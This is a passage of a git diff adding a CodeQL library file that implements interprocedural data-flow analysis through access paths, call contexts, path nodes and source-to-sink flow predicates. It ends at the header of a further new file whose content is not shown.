b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCandFwd2(Node node, boolean fromArg, boolean stored, Configuration config) { + nodeCand1(node, false, config) and + config.isSource(node) and + fromArg = false and + stored = false + or + nodeCand1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, fromArg, stored, config) and + localFlowStepOrFlowThroughMethod(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, _, stored, config) and + jumpStep(mid, node, preservesValue, config) and + fromArg = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, true, config) and + read(mid, f, node) and + storeCandFwd2(f, unbind(config)) and + (stored = false or stored = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, _, stored, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, false, stored, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd2`. + */ +private predicate storeCandFwd2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCand1(node, true, unbind(config)) and + nodeCandFwd2(mid, _, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCand2(Node node, boolean toReturn, boolean stored, Configuration config) { + nodeCandFwd2(node, _, false, config) and + config.isSink(node) and + toReturn = false and + stored = false + or + nodeCandFwd2(node, _, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStepOrFlowThroughMethod(node, mid, preservesValue, config) and + nodeCand2(mid, toReturn, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand2(mid, _, stored, config) and + toReturn = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand2(f, unbind(config)) and + nodeCand2(mid, toReturn, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, toReturn, _, config) and + stored = true + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, false, stored, config) and + toReturn = false and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, _, stored, config) and + toReturn = true and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand2`. + */ +private predicate readCand2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd2(node, _, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, _, _, config) + ) +} + +private predicate storeCand(Content f, Configuration conf) { + exists(Node n1, Node n2 | + store(n1, f, n2) and + nodeCand2(n1, _, _, conf) and + nodeCand2(n2, _, _, unbind(conf)) + ) +} + +private predicate readCand(Content f, Configuration conf) { readCand2(f, conf) } + +/** + * Holds if `f` is the target of both a store and a read in the path graph + * covered by `nodeCand2`. + */ +pragma[noinline] +private predicate readStoreCand(Content f, Configuration conf) { + storeCand(f, conf) and + readCand(f, conf) +} + +private predicate nodeCand(Node node, Configuration config) { nodeCand2(node, _, _, config) } + +/** + * Holds if `node` can be the first node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowEntry(Node node, Configuration config) { + nodeCand(node, config) and + ( + config.isSource(node) or + jumpStep(_, node, _, config) or + node instanceof ParameterNode or + node.asExpr() instanceof MethodAccess or + node instanceof PostUpdateNode or + read(_, _, node) or + node.asExpr() instanceof CastExpr + ) +} + +/** + * Holds if `node` can be the last node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowExit(Node node, Configuration config) { + exists(Node next | nodeCand(next, config) | + jumpStep(node, next, _, config) or + flowIntoCallable(node, next, config) or + flowOutOfCallable(node, next, config) or + flowThroughMethod(node, next, _, config) or + store(node, _, next) or + read(node, _, next) + ) + or + node.asExpr() instanceof CastExpr + or + config.isSink(node) +} + +/** + * Holds if the local path from `node1` to `node2` is a prefix of a maximal + * subsequence of local flow steps in a dataflow path. + * + * This is the transitive closure of `localFlowStep` beginning at `localFlowEntry`. + */ +private predicate localFlowStepPlus( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowEntry(node1, config) and + localFlowStep(node1, node2, preservesValue, config) and + node1 != node2 and + nodeCand(node2, unbind(config)) + or + exists(Node mid, boolean pv1, boolean pv2 | + localFlowStepPlus(node1, mid, pv1, config) and + localFlowStep(mid, node2, pv2, config) and + not mid.asExpr() instanceof CastExpr and + preservesValue = pv1.booleanAnd(pv2) and + nodeCand(node2, unbind(config)) + ) +} + +/** + * Holds if `node1` can step to `node2` in one or more local steps and this + * path can occur as a maximal subsequence of local steps in a dataflow path. + */ +pragma[noinline] +private predicate localFlowBigStep( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStepPlus(node1, node2, preservesValue, config) and + localFlowExit(node2, config) +} + +private newtype TAccessPathFront = + TFrontNil(Type t) or + TFrontHead(Content f) + +/** + * The front of an `AccessPath`. This is either a head or a nil. + */ +private class AccessPathFront extends TAccessPathFront { + string toString() { + exists(Type t | this = TFrontNil(t) | result = ppReprType(t)) + or + exists(Content f | this = TFrontHead(f) | result = f.toString()) + } + + Type getType() { + this = TFrontNil(result) + or + exists(Content head | this = TFrontHead(head) | result = head.getContainerType()) + } + + predicate headUsesContent(Content f) { this = TFrontHead(f) } +} + +private class AccessPathFrontNil extends AccessPathFront, TFrontNil { } + +/** + * A `Node` at which a cast can occur such that the type should be checked. + */ +private class CastingNode extends Node { + CastingNode() { + this instanceof ParameterNode or + this.asExpr() instanceof CastExpr or + this.asExpr() instanceof MethodAccess or + this.(PostUpdateNode).getPreUpdateNode() instanceof ArgumentNode + } +} + +/** + * Holds if data can flow from a source to `node` with the given `apf`. + */ +private predicate flowCandFwd(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + flowCandFwd0(node, fromArg, apf, config) and + if node instanceof CastingNode then compatibleTypes(node.getType(), apf.getType()) else any() +} + +private predicate flowCandFwd0(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + nodeCand2(node, _, false, config) and + config.isSource(node) and + fromArg = false and + apf = TFrontNil(getErasedRepr(node.getType())) + or + nodeCand(node, unbind(config)) and + ( + exists(Node mid | + flowCandFwd(mid, fromArg, apf, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + localFlowBigStep(mid, node, false, config) and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid | + flowCandFwd(mid, _, apf, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, _, apf0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, _, apf, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, false, apf, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + ) + ) + or + exists(Node mid, Content f | + flowCandFwd(mid, fromArg, _, config) and + store(mid, f, node) and + nodeCand(node, unbind(config)) and + apf.headUsesContent(f) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + read(mid, f, node) and + nodeCand(node, config) and + apf0.headUsesContent(f) and + consCandFwd(f, apf, unbind(config)) + ) +} + +private predicate consCandFwd(Content f, AccessPathFront apf, Configuration config) { + exists(Node mid, Node n | + flowCandFwd(mid, _, apf, config) and + store(mid, f, n) and + nodeCand(n, unbind(config)) and + readStoreCand(f, unbind(config)) and + compatibleTypes(apf.getType(), f.getType()) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `apf` and + * from there flow to a sink. + */ +private predicate flowCand(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCand0(node, toReturn, apf, config) and + flowCandFwd(node, _, apf, config) +} + +private predicate flowCand0(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCandFwd(node, _, apf, config) and + config.isSink(node) and + toReturn = false and + apf instanceof AccessPathFrontNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flowCand(mid, toReturn, apf, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + localFlowBigStep(node, mid, false, config) and + flowCand(mid, toReturn, apf0, config) and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flowCand(mid, _, apf, config) and + toReturn = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + jumpStep(node, mid, false, config) and + flowCand(mid, _, apf0, config) and + toReturn = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, false, apf, config) and + toReturn = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, _, apf, config) and + toReturn = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowThroughMethod(node, mid, preservesValue, config) and + flowCand(mid, toReturn, apf0, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil and + flowCandFwd(node, _, apf, config) + ) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + store(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + apf0.headUsesContent(f) and + consCand(f, apf, unbind(config)) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + read(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + consCandFwd(f, apf0, unbind(config)) and + apf.headUsesContent(f) + ) + ) +} + +private predicate consCand(Content f, AccessPathFront apf, Configuration config) { + consCandFwd(f, apf, config) and + exists(Node mid, Node n, AccessPathFront apf0 | + flowCandFwd(n, _, apf0, config) and + apf0.headUsesContent(f) and + read(n, f, mid) and + flowCand(mid, _, apf, config) + ) +} + +private newtype TAccessPath = + TNil(Type t) or + TCons(Content f, int len) { len in [1 .. 5] } + +/** + * Conceptually a list of `Content`s followed by a `Type`, but only the first + * element of the list and its length are tracked. If data flows from a source to + * a given node with a given `AccessPath`, this indicates the sequence of + * dereference operations needed to get from the value in the node to the + * tracked object. The final type indicates the type of the tracked object. + */ +private class AccessPath extends TAccessPath { + abstract string toString(); + + Content getHead() { this = TCons(result, _) } + + int len() { + this = TNil(_) and result = 0 + or + this = TCons(_, result) + } + + Type getType() { + this = TNil(result) + or + exists(Content head | this = TCons(head, _) | result = head.getContainerType()) + } + + abstract AccessPathFront getFront(); +} + +private class AccessPathNil extends AccessPath, TNil { + override string toString() { exists(Type t | this = TNil(t) | result = ppReprType(t)) } + + override AccessPathFront getFront() { exists(Type t | this = TNil(t) | result = TFrontNil(t)) } +} + +private class AccessPathCons extends AccessPath, TCons { + override string toString() { + exists(Content f, int len | this = TCons(f, len) | + result = f.toString() + ", ... (" + len.toString() + ")" + ) + } + + override AccessPathFront getFront() { + exists(Content f | this = TCons(f, _) | result = TFrontHead(f)) + } +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap`. */ +private predicate pop(AccessPath ap0, Content f, AccessPath ap) { + ap0.getFront().headUsesContent(f) and + consCand(f, ap.getFront(), _) and + ap0.len() = 1 + ap.len() +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap` and `apf` is the front of `ap`. */ +pragma[noinline] +private predicate popWithFront(AccessPath ap0, Content f, AccessPathFront apf, AccessPath ap) { + pop(ap0, f, ap) and apf = ap.getFront() +} + +/** Holds if `ap` corresponds to the cons of `f` and `ap0`. */ +private predicate push(AccessPath ap0, Content f, AccessPath ap) { pop(ap, f, ap0) } + +/** + * Holds if data can flow from a source to `node` with the given `ap`. + */ +private predicate flowFwd( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowFwd0(node, fromArg, apf, ap, config) and + flowCand(node, _, apf, config) +} + +private predicate flowFwd0( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowCand(node, _, _, config) and + config.isSource(node) and + fromArg = false and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + or + flowCand(node, _, _, unbind(config)) and + ( + exists(Node mid | + flowFwd(mid, fromArg, apf, ap, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, fromArg, _, ap0, config) and + localFlowBigStep(mid, node, false, config) and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid | + flowFwd(mid, _, apf, ap, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, _, _, ap0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, _, apf, ap, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, false, apf, ap, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0, AccessPath ap0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and ap = ap0 and apf = apf0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdStore(node, f, ap0, apf, fromArg, config) and + push(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdRead(node, f, ap0, fromArg, config) and + popWithFront(ap0, f, apf, ap) + ) +} + +pragma[nomagic] +private predicate flowFwdStore( + Node node, Content f, AccessPath ap0, AccessPathFront apf, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowFwdStoreAux(mid, f, node, apf0, apf, config) + ) +} + +private predicate flowFwdStoreAux( + Node mid, Content f, Node node, AccessPathFront apf0, AccessPathFront apf, Configuration config +) { + store(mid, f, node) and + consCand(f, apf0, config) and + apf.headUsesContent(f) and + flowCand(node, _, apf, unbind(config)) +} + +pragma[nomagic] +private predicate flowFwdRead( + Node node, Content f, AccessPath ap0, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + read(mid, f, node) and + apf0.headUsesContent(f) and + flowCand(node, _, _, unbind(config)) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `ap` and + * from there flow to a sink. + */ +private predicate flow(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flow0(node, toReturn, ap, config) and + flowFwd(node, _, _, ap, config) +} + +private predicate flow0(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flowFwd(node, _, _, ap, config) and + config.isSink(node) and + toReturn = false and + ap instanceof AccessPathNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flow(mid, toReturn, ap, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + localFlowBigStep(node, mid, false, config) and + flow(mid, toReturn, ap0, config) and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flow(mid, _, ap, config) and + toReturn = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + jumpStep(node, mid, false, config) and + flow(mid, _, ap0, config) and + toReturn = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flow(mid, false, ap, config) and + toReturn = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flow(mid, _, ap, config) and + toReturn = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPath ap0 | + flowThroughMethod(node, mid, preservesValue, config) and + flow(mid, toReturn, ap0, config) and + ( + preservesValue = true and ap = ap0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil and + flowFwd(node, _, _, ap, config) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowStore(node, f, toReturn, ap0, config) and + pop(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowRead(node, f, toReturn, ap0, config) and + push(ap0, f, ap) + ) + ) +} + +pragma[nomagic] +private predicate flowStore( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + store(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +pragma[nomagic] +private predicate flowRead( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + read(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +bindingset[conf, result] +private Configuration unbind(Configuration conf) { result >= conf and result <= conf } + +private predicate flow(Node n, Configuration config) { flow(n, _, _, config) } + +private newtype TPathNode = + TPathNodeMid(Node node, CallContext cc, AccessPath ap, Configuration config) { + // A PathNode is introduced by a source ... + flow(node, config) and + config.isSource(node) and + cc instanceof CallContextAny and + ap = TNil(getErasedRepr(node.getType())) + or + // ... or a step from an existing PathNode to another node. + exists(PathNodeMid mid | + flowStep(mid, node, cc, ap) and + config = mid.getConfiguration() and + flow(node, _, ap, unbind(config)) + ) + } or + TPathNodeSink(Node node, Configuration config) { + // The AccessPath on a sink is empty. + config.isSink(node) and + flow(node, config) + } + +/** + * A `Node` augmented with a call context (except for sinks), an access path, and a configuration. + * Only those `PathNode`s that are reachable from a source are generated. + */ +abstract class PathNode extends TPathNode { + /** Gets a textual representation of this element. */ + string toString() { result = getNode().toString() + ppAp() } + + /** Gets the source location for this element. */ + Location getLocation() { result = getNode().getLocation() } + + /** Gets the underlying `Node`. */ + abstract Node getNode(); + + /** Gets the associated configuration. */ + abstract Configuration getConfiguration(); + + /** Gets a successor. */ + abstract PathNode getSucc(); + + private string ppAp() { + this instanceof PathNodeSink and result = "" + or + result = " [" + this.(PathNodeMid).getAp().toString() + "]" + } +} + +/** Holds if `n` can reach a sink. */ +private predicate reach(PathNode n) { n instanceof PathNodeSink or reach(n.getSucc()) } + +/** Holds if `n1.getSucc() = n2` and `n2` can reach a sink. */ +private predicate pathSucc(PathNode n1, PathNode n2) { n1.getSucc() = n2 and reach(n2) } + +private predicate pathSuccPlus(PathNode n1, PathNode n2) = fastTC(pathSucc/2)(n1, n2) + +/** + * Provides the query predicates needed to include a graph in a path-problem query. + */ +module PathGraph { + /** Holds if `(a,b)` is an edge in the graph of data flow path explanations. */ + query predicate edges(PathNode a, PathNode b) { pathSucc(a, b) } +} + +/** + * An intermediate flow graph node. This is a triple consisting of a `Node`, + * a `CallContext`, and a `Configuration`. + */ +private class PathNodeMid extends PathNode, TPathNodeMid { + Node node; + + CallContext cc; + + AccessPath ap; + + Configuration config; + + PathNodeMid() { this = TPathNodeMid(node, cc, ap, config) } + + override Node getNode() { result = node } + + CallContext getCallContext() { result = cc } + + AccessPath getAp() { result = ap } + + override Configuration getConfiguration() { result = config } + + private PathNodeMid getSuccMid() { + flowStep(this, result.getNode(), result.getCallContext(), result.getAp()) and + result.getConfiguration() = unbind(this.getConfiguration()) + } + + override PathNode getSucc() { + // an intermediate step to another intermediate node + result = getSuccMid() + or + // a final step to a sink via one or more local steps + localFlowStepPlus(node, result.getNode(), _, config) and + ap instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(this.getConfiguration()) + or + // a final step to a sink via zero steps means we merge the last two steps to prevent trivial-looking edges + exists(PathNodeMid mid | + mid = getSuccMid() and + mid.getNode() = result.getNode() and + mid.getAp() instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(mid.getConfiguration()) + ) + or + // a direct step from a source to a sink if a node is both + this instanceof PathNodeSource and + result instanceof PathNodeSink and + this.getNode() = result.getNode() and + result.getConfiguration() = unbind(this.getConfiguration()) + } +} + +/** + * A flow graph node corresponding to a source. + */ +private class PathNodeSource extends PathNodeMid { + PathNodeSource() { + getConfiguration().isSource(getNode()) and + getCallContext() instanceof CallContextAny and + getAp() instanceof AccessPathNil + } +} + +/** + * A flow graph node corresponding to a sink. This is disjoint from the + * intermediate nodes in order to uniquely correspond to a given sink by + * excluding the `CallContext`. + */ +private class PathNodeSink extends PathNode, TPathNodeSink { + Node node; + + Configuration config; + + PathNodeSink() { this = TPathNodeSink(node, config) } + + override Node getNode() { result = node } + + override Configuration getConfiguration() { result = config } + + override PathNode getSucc() { none() } +} + +/** + * Holds if data may flow from `mid` to `node`. The last step in or out of + * a callable is recorded by `cc`. + */ +private predicate flowStep(PathNodeMid mid, Node node, CallContext cc, AccessPath ap) { + localFlowBigStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc = mid.getCallContext() and + ap = mid.getAp() + or + localFlowBigStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc = mid.getCallContext() and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + jumpStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc instanceof CallContextAny and + ap = mid.getAp() + or + jumpStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc instanceof CallContextAny and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + contentReadStep(mid, node, ap) and cc = mid.getCallContext() + or + exists(Content f, AccessPath ap0 | contentStoreStep(mid, node, ap0, f, cc) and push(ap0, f, ap)) + or + flowOutOfArgument(mid, node, cc) and ap = mid.getAp() + or + flowIntoCallable(mid, node, _, cc, _) and ap = mid.getAp() + or + flowOutOfMethod(mid, node.asExpr(), cc) and ap = mid.getAp() + or + flowThroughMethod(mid, node.asExpr(), cc) and ap = TNil(getErasedRepr(node.getType())) + or + valueFlowThroughMethod(mid, node.asExpr(), cc) and ap = mid.getAp() +} + +private predicate contentReadStep(PathNodeMid mid, Node node, AccessPath ap) { + exists(Content f, AccessPath ap0 | + ap0 = mid.getAp() and + read(mid.getNode(), f, node) and + pop(ap0, f, ap) + ) +} + +pragma[noinline] +private predicate contentStoreStep( + PathNodeMid mid, Node node, AccessPath ap0, Content f, CallContext cc +) { + ap0 = mid.getAp() and + store(mid.getNode(), f, node) and + cc = mid.getCallContext() +} + +/** + * Holds if data may flow from `mid` to an exit of `m` in the context + * `innercc`, and the path did not flow through a parameter of `m`. + */ +private predicate flowOutOfMethod0(PathNodeMid mid, Method m, CallContext innercc) { + exists(ReturnNode ret | + ret = mid.getNode() and + innercc = mid.getCallContext() and + m = returnNodeGetEnclosingCallable(ret) and + not innercc instanceof CallContextCall + ) +} + +/** + * Holds if data may flow from `mid` to `ma`. The last step of this path + * is a return from a method and is recorded by `cc`, if needed. + */ +pragma[noinline] +private predicate flowOutOfMethod(PathNodeMid mid, MethodAccess ma, CallContext cc) { + exists(Method m, CallContext innercc | + flowOutOfMethod0(mid, m, innercc) and + resolveReturn(innercc, m, ma) + | + if reducedViableImplInReturn(m, ma) then cc = TReturn(m, ma) else cc = TAnyCallContext() + ) +} + +private predicate flowOutOfArgument(PathNodeMid mid, PostUpdateNode node, CallContext cc) { + exists( + PostUpdateNode n, ParameterNode p, Callable callable, CallContext innercc, int i, Call call, + ArgumentNode arg + | + mid.getNode() = n and + parameterValueFlowsToUpdate(p, n) and + innercc = mid.getCallContext() and + p.isParameterOf(callable, i) and + resolveReturn(innercc, callable, call) and + node.getPreUpdateNode() = arg and + arg.argumentOf(call, i) and + flow(node, unbind(mid.getConfiguration())) + | + if reducedViableImplInReturn(callable, call) + then cc = TReturn(callable, call) + else cc = TAnyCallContext() + ) +} + +/** + * Holds if data may flow from `mid` to the `i`th argument of `call` in `cc`. + */ +pragma[noinline] +private predicate flowIntoArg(PathNodeMid mid, int i, CallContext cc, Call call, boolean emptyAp) { + exists(ArgumentNode arg, AccessPath ap | + arg = mid.getNode() and + cc = mid.getCallContext() and + arg.argumentOf(call, i) and + ap = mid.getAp() + | + ap instanceof AccessPathNil and emptyAp = true + or + ap instanceof AccessPathCons and emptyAp = false + ) +} + +pragma[noinline] +private predicate parameterCand(Callable callable, int i, Configuration config) { + exists(ParameterNode p | + flow(p, config) and + p.isParameterOf(callable, i) + ) +} + +pragma[nomagic] +private predicate flowIntoCallable0( + PathNodeMid mid, Callable callable, int i, CallContext outercc, Call call, boolean emptyAp +) { + flowIntoArg(mid, i, outercc, call, emptyAp) and + callable = resolveCall(call, outercc) and + parameterCand(callable, any(int j | j <= i and j >= i), mid.getConfiguration()) +} + +/** + * Holds if data may flow from `mid` to `p` through `call`. The contexts + * before and after entering the callable are `outercc` and `innercc`, + * respectively. + */ +private predicate flowIntoCallable( + PathNodeMid mid, ParameterNode p, CallContext outercc, CallContextCall innercc, Call call +) { + exists(int i, Callable callable, boolean emptyAp | + flowIntoCallable0(mid, callable, i, outercc, call, emptyAp) and + p.isParameterOf(callable, i) + | + if reducedViableImplInCallContext(_, callable, call) + then innercc = TSpecificCall(call, i, emptyAp) + else innercc = TSomeCall(p, emptyAp) + ) +} + +/** Holds if data may flow from `p` to a return statement in the callable. */ +pragma[nomagic] +private predicate paramFlowsThrough(ParameterNode p, CallContextCall cc, Configuration config) { + exists(PathNodeMid mid, ReturnNode ret | + mid.getNode() = ret and + cc = mid.getCallContext() and + config = mid.getConfiguration() and + mid.getAp() instanceof AccessPathNil + | + cc = TSomeCall(p, true) + or + exists(int i | cc = TSpecificCall(_, i, true) | + p.isParameterOf(returnNodeGetEnclosingCallable(ret), i) + ) + ) +} + +/** + * Holds if data may flow from `mid` to an argument of `methodcall`, + * through a called method `m`, and back out through a return statement in + * `m`. The context `cc` is restored to its value prior to entering `m`. + */ +pragma[noinline] +private predicate flowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p, CallContext innercc | + flowIntoCallable(mid, p, cc, innercc, methodcall) and + paramFlowsThrough(p, innercc, unbind(mid.getConfiguration())) and + not parameterValueFlowsThrough(p) and + mid.getAp() instanceof AccessPathNil + ) +} + +private predicate valueFlowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p | + flowIntoCallable(mid, p, cc, _, methodcall) and + parameterValueFlowsThrough(p) + ) +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +private predicate flowsTo( + PathNodeSource flowsource, PathNodeSink flowsink, Node source, Node sink, + Configuration configuration +) { + flowsource.getConfiguration() = configuration and + flowsource.getNode() = source and + pathSuccPlus(flowsource, flowsink) and + flowsink.getNode() = sink +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +predicate flowsTo(Node source, Node sink, Configuration configuration) { + flowsTo(_, _, source, sink, configuration) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll new file mode 100644 index 00000000000..9d28e37cc8a --- /dev/null +++ 